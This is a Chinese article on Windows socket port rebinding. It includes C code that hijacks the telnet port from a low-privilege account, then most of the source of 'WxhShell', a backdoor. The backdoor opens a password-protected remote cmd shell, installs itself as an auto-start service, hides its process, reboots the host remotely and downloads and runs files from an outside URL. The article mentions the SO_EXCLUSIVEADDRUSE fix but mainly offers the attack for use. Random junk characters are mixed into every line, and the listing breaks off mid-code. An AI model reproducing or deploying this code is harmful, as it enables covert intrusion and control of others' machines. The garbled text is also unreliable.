在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
rUpe ;c s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+x(#e'6p lDTHK2f saddr.sin_family = AF_INET;
;I&VpAPx ]I [~0PCSX saddr.sin_addr.s_addr = htonl(INADDR_ANY);
=}vT>b VGmvfhf#" bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
,;_+o] #,%7tXOLR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
X/yq<_ g &}r"Z?f) 这意味着什么?意味着可以进行如下的攻击:
lj (y ovdJ[bO 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
xSm;~')g O\6U2b~ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
83n%pS4x M2O_kOeZ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
<eoie6@3 9 3>4n\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
s
V_(9@b 3 r& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
E5w;75, @1MnJP 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
2;8m0+tl 1u
9hA~rj 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[d: u( ,%M[$S' #include
wI$a1H #include
U ? +_\ #include
p;O%W@n" #include
KJA
:; DWORD WINAPI ClientThread(LPVOID lpParam);
yD7BZI
xW int main()
Y@Uk P+{f= {
_)M,p@!?=h WORD wVersionRequested;
Oynb"T&8 DWORD ret;
qqrjI. WSADATA wsaData;
558P"w0"X BOOL val;
d$zJLgkA SOCKADDR_IN saddr;
i[v4[C=WB! SOCKADDR_IN scaddr;
"& ,ov# int err;
o~Se[p SOCKET s;
/Mqhx_)>A SOCKET sc;
<+`%=r)4 int caddsize;
)cqD"> vs HANDLE mt;
lW+mH= DWORD tid;
#BC"bY wVersionRequested = MAKEWORD( 2, 2 );
%rzPh<>e err = WSAStartup( wVersionRequested, &wsaData );
JVZ-nHf(9 if ( err != 0 ) {
I//=C6 printf("error!WSAStartup failed!\n");
YX\vk/[| return -1;
%;PpwI }
(}: s[cs saddr.sin_family = AF_INET;
1Kg0y71" 3S^0%"fY //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
dzf2`@8# oQ$yr^M saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
4&/CES saddr.sin_port = htons(23);
2w 2Bc+#o if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2u"lc'9v {
,X4e?$7g printf("error!socket failed!\n");
W(, j2pU return -1;
,eXtY}E }
w5@5"M val = TRUE;
(]|h6aI'} //SO_REUSEADDR选项就是可以实现端口重绑定的
C|'DKT4M& if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
nbi7rcT {
).T&fa" printf("error!setsockopt failed!\n");
i+_LKHQN return -1;
5)[~
T2j! }
,g*!NK_:5t //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
FFHq':v //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ll:UIxx //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
V%Uj\cv >Vuvbo if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
/ f%mYL {
c}(WniR-" ret=GetLastError();
SN{z)q
printf("error!bind failed!\n");
-yqsJGY return -1;
|)-kUu }
aSL`yuXu listen(s,2);
\2SbW7"/;P while(1)
pLMt2G {
7)66e caddsize = sizeof(scaddr);
@MW@mP)# //接受连接请求
UKS5{"=T[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
kaG/8G( if(sc!=INVALID_SOCKET)
eA!o#O. {
IqOg{#sm mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
TP }a9-9? if(mt==NULL)
7[m?\/K~ {
Z;0~f<e%
printf("Thread Creat Failed!\n");
@AyteHK
break;
3jmo[<p*x }
@[GV0*yz$ }
[ks_wvY:' CloseHandle(mt);
@d75X Y Ku }
=c8}^3L~7 closesocket(s);
N&9o 1_} WSACleanup();
}@DCc f$< return 0;
]#!uke Q }
-,bFGTvYQ DWORD WINAPI ClientThread(LPVOID lpParam)
R@e'=z[%1 {
kZ]H[\Fs SOCKET ss = (SOCKET)lpParam;
U,P_bz*) SOCKET sc;
{U4!sJSl1 unsigned char buf[4096];
BN/4O?jD9 SOCKADDR_IN saddr;
c*USA
eP long num;
[%W'd9`> DWORD val;
Psb !Z( DWORD ret;
2TK \pfD //如果是隐藏端口应用的话,可以在此处加一些判断
eJDZ|$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
*$p*'vR saddr.sin_family = AF_INET;
%nA})nA7= saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
@"w4R6l+* saddr.sin_port = htons(23);
HC`0Ni1 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^FCXcn9 {
_nGx[1G( 5 printf("error!socket failed!\n");
o3WOp80hz return -1;
UQVL)-Z }
H MOIUd val = 100;
Cq5.gkS< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\Ne`9k {
#G9
W65 f ret = GetLastError();
z/?* h return -1;
0KA*6]h t }
IsXNAYj if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Bfb~<rs[ {
cXweg; ret = GetLastError();
5"%.8P return -1;
1(' wg! }
4P{|H if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
X'A`"}=_ {
$<*) 5|6 printf("error!socket connect failed!\n");
nnlj# closesocket(sc);
H4M=&"ll} closesocket(ss);
_kKG%U.gbK return -1;
4[ uqsJB }
0aT:Gy; while(1)
ammi4k/ {
A;cA|`b //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
<H64L*,5'7 //如果是嗅探内容的话,可以再此处进行内容分析和记录
fy+5i^{= //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
2H%9l@}u num = recv(ss,buf,4096,0);
FgdnX2s J if(num>0)
>Eh U{@Y send(sc,buf,num,0);
rrIyZ@_d9 else if(num==0)
(Y py} break;
rgy
I:F. num = recv(sc,buf,4096,0);
0kJ8H!~u if(num>0)
a\sK{`|X* send(ss,buf,num,0);
!ooi.Oz*Tu else if(num==0)
, ['}9:f9 break;
T;M
;c.U }
WcmX"{ closesocket(ss);
:'h$]p% closesocket(sc);
x,nl PU return 0 ;
Whd > }
m.++nF tSy 9v [kg^S`gc# ==========================================================
Dgz,Uad8f Z?P^Y%ls 下边附上一个代码,,WXhSHELL
%??v?M* y\v#qFVOZ ==========================================================
Zk`y"[ J #cQ5-R-1 #include "stdafx.h"
@ ]u@e4T %P}H3;2 #include <stdio.h>
l/3=o}8q #include <string.h>
SM~ ~: #include <windows.h>
*iB&tWv #include <winsock2.h>
s.4+5rE #include <winsvc.h>
0"7+;(\1Rk #include <urlmon.h>
L9jT:2F a&{Y~Og?% #pragma comment (lib, "Ws2_32.lib")
b |:Y3_> #pragma comment (lib, "urlmon.lib")
{ <Gyjq "U^m~N9k{ #define MAX_USER 100 // 最大客户端连接数
Oj-\ #define BUF_SOCK 200 // sock buffer
k, N{ #define KEY_BUFF 255 // 输入 buffer
DpggZ|J ?OW!D? #define REBOOT 0 // 重启
4T3Z9KD!8 #define SHUTDOWN 1 // 关机
xHt7/8wF OPN\{<`*d #define DEF_PORT 5000 // 监听端口
uxyj6( gcnX^[`S #define REG_LEN 16 // 注册表键长度
dC,C[7\ #define SVC_LEN 80 // NT服务名长度
.Wt3|?\=nd IP/%=m)\% // 从dll定义API
JPF6zzl) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
=4` wYh typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
fY^CIb$Y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
zG$5g^J typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
56JQ h %|e)s_%XE // wxhshell配置信息
gy@=)R/~ struct WSCFG {
T1qbb* int ws_port; // 监听端口
S?CT6moXA char ws_passstr[REG_LEN]; // 口令
uD@ZM int ws_autoins; // 安装标记, 1=yes 0=no
7d
R?70Sz char ws_regname[REG_LEN]; // 注册表键名
FzEs1hpl char ws_svcname[REG_LEN]; // 服务名
HL&HY)W1gf char ws_svcdisp[SVC_LEN]; // 服务显示名
T#Q7L~?zY char ws_svcdesc[SVC_LEN]; // 服务描述信息
6!>p<p"Ns char ws_passmsg[SVC_LEN]; // 密码输入提示信息
oi|N8a2R int ws_downexe; // 下载执行标记, 1=yes 0=no
$M)SsD~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ef^GJTv&k char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Mv%Qze,\V^ oc)`hg2= };
-&D=4,# N `:MF 9 // default Wxhshell configuration
\t)va:y struct WSCFG wscfg={DEF_PORT,
/i8OyRpSyk "xuhuanlingzhe",
8OZasf 1,
2Snb+,o2 "Wxhshell",
^7\kvW "Wxhshell",
b5H}0< "WxhShell Service",
[ne51F5_ "Wrsky Windows CmdShell Service",
#1U> "Please Input Your Password: ",
OW#0$%f 1,
w^Y/J4 I0 "
http://www.wrsky.com/wxhshell.exe",
ViiJDYT>E< "Wxhshell.exe"
{Vj&i.2, };
#M|lBYdW} pC:YT/J // 消息定义模块
l,hOnpm9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
rmzzbLTu char *msg_ws_prompt="\n\r? for help\n\r#>";
hhaiHi!$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
^P@:CBO char *msg_ws_ext="\n\rExit.";
Hh Q0> char *msg_ws_end="\n\rQuit.";
4
9N.P;b char *msg_ws_boot="\n\rReboot...";
V3ht:>c9qs char *msg_ws_poff="\n\rShutdown...";
9[zxq`qT}+ char *msg_ws_down="\n\rSave to ";
d^A]]Xg H;4QuB'^ char *msg_ws_err="\n\rErr!";
*Z"`g
%,; char *msg_ws_ok="\n\rOK!";
aGC3&c[Wx _M/N_Fm char ExeFile[MAX_PATH];
;iuwIdo6c int nUser = 0;
=_ pSfKR; HANDLE handles[MAX_USER];
]uox ^HC int OsIsNt;
z(LR!hr 5h/,*p6Nje SERVICE_STATUS serviceStatus;
=(
|%%,3 SERVICE_STATUS_HANDLE hServiceStatusHandle;
={;pg( =xm7i#1 // 函数声明
I9zs int Install(void);
Q~nVbj?c2v int Uninstall(void);
ns>$ int DownloadFile(char *sURL, SOCKET wsh);
?d3K:|g int Boot(int flag);
Cd)g8< void HideProc(void);
I :<,9. int GetOsVer(void);
-$<oY88 int Wxhshell(SOCKET wsl);
}R<t=): void TalkWithClient(void *cs);
nDdY~f.B int CmdShell(SOCKET sock);
c ^ds|7i]a int StartFromService(void);
Ztmh z_u7 int StartWxhshell(LPSTR lpCmdLine);
GP c
B( ]]K?Q
)9x VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
aC[G_ACwc VOID WINAPI NTServiceHandler( DWORD fdwControl );
Y:;_R=M se %#U40* // 数据结构和表定义
V8 8u- SERVICE_TABLE_ENTRY DispatchTable[] =
`.J)Z=o {
9JP:wE~y {wscfg.ws_svcname, NTServiceMain},
#aL.E(% {NULL, NULL}
'Hx#DhiFz };
U\lbh;9G Ag9GYm // 自我安装
AVQcD`V3B int Install(void)
6ioj!w<N {
!6=s{V&r1 char svExeFile[MAX_PATH];
wA$7SWC HKEY key;
&*OwoTgk+ strcpy(svExeFile,ExeFile);
OU%"dmSDk C`[2B0 // 如果是win9x系统,修改注册表设为自启动
s?}qia\~m if(!OsIsNt) {
#B~;j5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'S6zk wC] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
n R, QG8 RegCloseKey(key);
[8za=B/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
t RU/[?! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
CbM~\6R RegCloseKey(key);
NxnRQS return 0;
\m|5Aqs }
o(e(|k
{ }
|u%;"N'p) }
wqDf\k}'v else {
%TFsk Fxa{
9'99 // 如果是NT以上系统,安装为系统服务
X[?fU& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,M`1 k if (schSCManager!=0)
]zj#X\ {
Ag0
6M U SC_HANDLE schService = CreateService
\"ogQnmz (
/95z1e schSCManager,
@Pc7$ qD % wscfg.ws_svcname,
VvIUAn wscfg.ws_svcdisp,
}5PC53q SERVICE_ALL_ACCESS,
eMdP4<u SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
l\L71|3" g SERVICE_AUTO_START,
l7T?Yx j SERVICE_ERROR_NORMAL,
vUbgSI svExeFile,
u^SInanw NULL,
#Db^* NULL,
]+,L/P NULL,
2<UC^vZ NULL,
Zq33R` NULL
a :*N0 );
yH:p*|% : if (schService!=0)
ih)\P0wed {
>{Ayzz>v CloseServiceHandle(schService);
1^]IuPxq CloseServiceHandle(schSCManager);
uy2~<) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
-,*m\Fe} strcat(svExeFile,wscfg.ws_svcname);
a=ZVKb if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
=k d-rIBc RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
pFd{Tdh RegCloseKey(key);
91R7Rrne return 0;
vxf09v{- }
ABoB=0.l }
nt_Cb*K< CloseServiceHandle(schSCManager);
K+/wJ9^B }
fCu;n%
}
T0fm6
J Hj`'4 return 1;
9?sY!gXc }
p/0dtnXa( sE]z.Po= // 自我卸载
N68]r3/K int Uninstall(void)
V1Ft3Msq {
hy#nK:B HKEY key;
? .B t. T*B`8P if(!OsIsNt) {
'S}3lsIE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
hB<(~L?A] RegDeleteValue(key,wscfg.ws_regname);
ghW`xm87 RegCloseKey(key);
_)pOkS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*eXs7 "H RegDeleteValue(key,wscfg.ws_regname);
OSuQ7V RegCloseKey(key);
KgYQxEbIW return 0;
3bGU;2~} }
/AX)n:, }
`yl|NL }
{TJ"O else {
HqqMX`Rof ,b^jAzow SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
30w(uF if (schSCManager!=0)
-h|[8UG^b {
|4BD SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
oJ5n*[qUI if (schService!=0)
'_DB0_Dp {
GZ5 DI+3 if(DeleteService(schService)!=0) {
4VF]tX?o CloseServiceHandle(schService);
ci?\W6 CloseServiceHandle(schSCManager);
mK7SEH; return 0;
qldm"Ul }
rUV'DC?eE CloseServiceHandle(schService);
u*\QVOF }
dw}ge,bBic CloseServiceHandle(schSCManager);
Tl"r# }
oEZhKVyc.y }
J7WNgl%
u KX\=wFbP) return 1;
E rA*a3 }
7ko}X,aC oP7)
// 从指定url下载文件
_o?aO C int DownloadFile(char *sURL, SOCKET wsh)
t#f-3zd9 {
w"kBAi& HRESULT hr;
X/%!p<}:' char seps[]= "/";
It'kO jx] char *token;
YJz06E1 -9 char *file;
!6taOT>v char myURL[MAX_PATH];
s 64@<oU<" char myFILE[MAX_PATH];
b:O_PS5h |'}r-} strcpy(myURL,sURL);
yHf^6|$8 token=strtok(myURL,seps);
;)f,A)(Z while(token!=NULL)
asvM/ 9 {
3# 0Nd"/0 file=token;
P_Gu~B!Y token=strtok(NULL,seps);
/&=y_%VR }
@GweNo`p7 hE\gXb GetCurrentDirectory(MAX_PATH,myFILE);
(3x2^M8 strcat(myFILE, "\\");
[ x.] strcat(myFILE, file);
q2Sc{E>[ send(wsh,myFILE,strlen(myFILE),0);
A]'XC"lS send(wsh,"...",3,0);
.db:mSrL hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
lUnC+w#[ if(hr==S_OK)
LChwHkRHJI return 0;
=`MQKh, else
|gk"~D return 1;
`P|V&;}K Ly`.~t(~l }
MnY}U",
'./qBJ // 系统电源模块
$Vs5d=B int Boot(int flag)
8v^AVg {
N#Nc{WU'B HANDLE hToken;
?$\sMkn TOKEN_PRIVILEGES tkp;
s<C66z p)Ht =~ if(OsIsNt) {
Ba%b]vp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Ln h'y`q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
SrWmV@"y tkp.PrivilegeCount = 1;
zLS?:yq tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
1TN+pmc}@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
?ZKIs9E[m if(flag==REBOOT) {
]K5j(1EN if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
bM
W}.v! return 0;
*$t =Lh }
7W/55ZTmJ else {
1OK~*=/4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
^!(tc=sr return 0;
Q;z'"P }
>O1u![9K|w }
9Pm|a~[m
else {
O~Dm|hP if(flag==REBOOT) {
(iO/@iw if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
n5#9o},oK return 0;
S U P }
|' kC9H[> else {
DT]3q4__Q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
G@dw5EfF9 return 0;
]MMXpj,9h }
RL"hAUs_1 }
<;Td8T; ,UT :wpc^i return 1;
~05(92bK }
8\`otJY *U,W4>(B // win9x进程隐藏模块
.X4UDZQg void HideProc(void)
y
0fI7:e3 {
nhq,Y0YH eGrxS;NY HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Xr|e%]!** if ( hKernel != NULL )
h4>q~&Pd {
Y-"7R>^I pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
q+67Wc= ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
g.Kyfs4` FreeLibrary(hKernel);
!xC IvKW }
`=W#owAF [k,FJ5X return;
d6e]aO=g }
LaIH3!M3 GmN~e*x>p // 获取操作系统版本
m&6I@S2 int GetOsVer(void)
BMbZ34^e {
W^9=z~-h OSVERSIONINFO winfo;
(=D^BXtH| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
aD?ySc} GetVersionEx(&winfo);
z
2Ao6*% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
/5R?(- return 1;
c~Z\|Y`#B else
|0N1]Hf return 0;
-~=:tn)0 }
;u?H#\J, hL/ // 客户端句柄模块
4d
@
(> int Wxhshell(SOCKET wsl)
upF^k%<y: {
Dj{t[z]$k SOCKET wsh;
A|0\ct struct sockaddr_in client;
b0Fr]oGp DWORD myID;
nTXM/ F='rGQK!1 while(nUser<MAX_USER)
[JX=<a)U {
mr#XN&e int nSize=sizeof(client);
zJtB?< wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
~VO?P fxZ if(wsh==INVALID_SOCKET) return 1;
k3B]u.Lo JclG*/Wjg4 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
zlN<yZB^ if(handles[nUser]==0)
$x1PU67 closesocket(wsh);
7{DSLKtN else
(Z};(Hn nUser++;
%y2i1^ }
{
BDUl3T WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
92Df.xI} [=KA5c< return 0;
F$&{@hd }
=5X(RGK rXg#_c5j // 关闭 socket
b+ v!3| void CloseIt(SOCKET wsh)
J*'#!
xIa {
)3KQ
QGi8 closesocket(wsh);
"DNiVL. nUser--;
yBwCFn.uP- ExitThread(0);
r081.< }
&o*f*(C2 w 7 j
hS // 客户端请求句柄
Wfyap)y void TalkWithClient(void *cs)
M8'
GbF=1 {
x*z$4)RP
Lr`G. e SOCKET wsh=(SOCKET)cs;
El`f>o+EJ char pwd[SVC_LEN];
aY@st]p char cmd[KEY_BUFF];
C
Ejf&n char chr[1];
ax+P)yz int i,j;
z>./lu\ +oMe\wYR$r while (nUser < MAX_USER) {
q`DilZ]S h$y0>eMWs if(wscfg.ws_passstr) {
s+yX82Y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C'jE'B5b //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Qh.
:
N //ZeroMemory(pwd,KEY_BUFF);
a6fqtkZ x i=0;
/6@Wm?`DB while(i<SVC_LEN) {
H-aSLc WAt | J2 // 设置超时
}
h pTS_ fd_set FdRead;
Y^W.gGM struct timeval TimeOut;
D%k]D/ FD_ZERO(&FdRead);
Z39I*-6F9W FD_SET(wsh,&FdRead);
{:r8X TimeOut.tv_sec=8;
c'r7sI%Yi TimeOut.tv_usec=0;
atO/Tp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
!@[@xdV if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
w-.=u3 ;\Vi~2!8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
/_MEb42& pwd
=chr[0];
cfEi]
if(chr[0]==0xd || chr[0]==0xa) { #=B~}
_
pwd=0; zf>r@>S!L
break; }TS4D={1
} ?3
l4U
i++; tv1Z%Mx?Cp
} =8F]cW'1`
QjlwT 2o'
// 如果是非法用户,关闭 socket qc-4;m o
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3bp'UEF^k
} oAgO3x
d;D8$q)8Q
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
h (`Erb
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pK~K>8\
Kqt,sJ
while(1) { _,JdL'[d
H/Fq'FsQB
ZeroMemory(cmd,KEY_BUFF); !@x'?+
~~_!&
// 自动支持客户端 telnet标准 DxLN{g]B
j=0; p kR+H|
while(j<KEY_BUFF) { C r~!N|(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,!RbFME&H
cmd[j]=chr[0]; Iq-+X3i
if(chr[0]==0xa || chr[0]==0xd) { f;;(Q-.
cmd[j]=0; 3K57xJzK
break; 'y?(s+
} 8[|RsM
j++; )./%/
_*K
} i2EXE0;
xN +j]LC
// 下载文件 dm&vLQVS
if(strstr(cmd,"http://")) { 7]~65@%R-&
send(wsh,msg_ws_down,strlen(msg_ws_down),0); )"IBw0]
if(DownloadFile(cmd,wsh)) 5)MVkJ=R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *y;(c)_w/%
else 3d2|vQx,K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IwHYuOED]
} Gn*vVZ@`x
else { "Oh(&N:U
8Jd\2T7 h
switch(cmd[0]) { tC=`J%Ik
D:gskK+o6M
// 帮助 ,
LP |M:
case '?': { *$ihNX]YG
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
De>'
break; "@JSF
} q>T7};5m2
// 安装 xsq+RBJi
case 'i': { F~cvob{
if(Install()) SV4a_m?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2<*DL6
else
=jX'FNv#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; c'9Xyl-
break; 1R1DK$^c
} + a%Vp!y
// 卸载 RQZ|:SvV
case 'r': { M8
E8r
if(Uninstall()) ?2b*FQe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HY,+;tf2r
else Z2]ySyt]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `2X#;{a:
break; lqO"
} {o?+T);Z
// 显示 wxhshell 所在路径 6}YWM]c%
case 'p': { ^&'&Y>
char svExeFile[MAX_PATH]; 0{/P1
strcpy(svExeFile,"\n\r"); |(E.Sb
strcat(svExeFile,ExeFile); `JGV3nN
send(wsh,svExeFile,strlen(svExeFile),0); 2\xv Yf-
break; 3%<Uq%pJ
} L,&R0gxi
// 重启 H*DWDJxmV
case 'b': { :RsO$@0G
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l@8UL</W
if(Boot(REBOOT)) F
j_r
n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H1(Zzn1
else { XCNfogl
closesocket(wsh); AZ7
ExitThread(0); S+Aq0B<
} 5YlY=J
break; DlkHE8r\
} (GVH#}uB
// 关机 =|lKB;
case 'd': { NzmVQ-4
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Fg3VD(D^U
if(Boot(SHUTDOWN)) +UxhSFU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l:O6`2Z
else { Hnv{sND[
closesocket(wsh); 'sCj\N
ExitThread(0); >g%^hjJ
} u.wm;eK[
break; GbC-6.~
} nDh]: t=
// 获取shell D:9/;9V
case 's': { bqwQi>^Cw
CmdShell(wsh); h*_h M1 *;
closesocket(wsh); "5]Fl8c?
ExitThread(0); _`>F>aP
break; D}SYv})Ti
} EK^B=)q6:W
// 退出 ;- D1n
case 'x': { 9]AiaV9
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); biCX:m+_?
CloseIt(wsh); 3Zm'09A-.
break; -_bHLoI
} 6~KtT{MYQ
// 离开 ceakTAB[
case 'q': {
5:mS~
send(wsh,msg_ws_end,strlen(msg_ws_end),0); M
<oy
closesocket(wsh); ({#9gTP2b
WSACleanup(); xkIRI1*!
exit(1); x.r OP_rs
break; (R_#lRaQ
} [C
PgfVz
} H[ 6L!
} }QszOi\fV1
Yx21~:9}
// 提示信息 :"+/M{qz
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %RE-_~GF
} wD}ojA&DU
} gU7@}P
^goa$uxU
return; bWN%dn$$M
} 4Gl0h'!(
EG<YxNX,
// shell模块句柄 j rX.e
int CmdShell(SOCKET sock) MP|J 0=H5
{ (9_~R^='y
STARTUPINFO si; cqzd9L6=
ZeroMemory(&si,sizeof(si)); ~f&lQN'1
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;b=3iT-2"
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8}/v[8p
PROCESS_INFORMATION ProcessInfo; gA)!1V+:
char cmdline[]="cmd"; jtdhdA
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FgIL Q"+
return 0; MHN?ZHC)
} 74VN3m
'JR2@W`]]
// 自身启动模式 Mp=2}d%P
int StartFromService(void) HZBU?{
{ l0Myem
v?z
typedef struct Cx $M
{ <szD"p|K
DWORD ExitStatus; nJJ9>#<g$
DWORD PebBaseAddress; Nf0'>`/
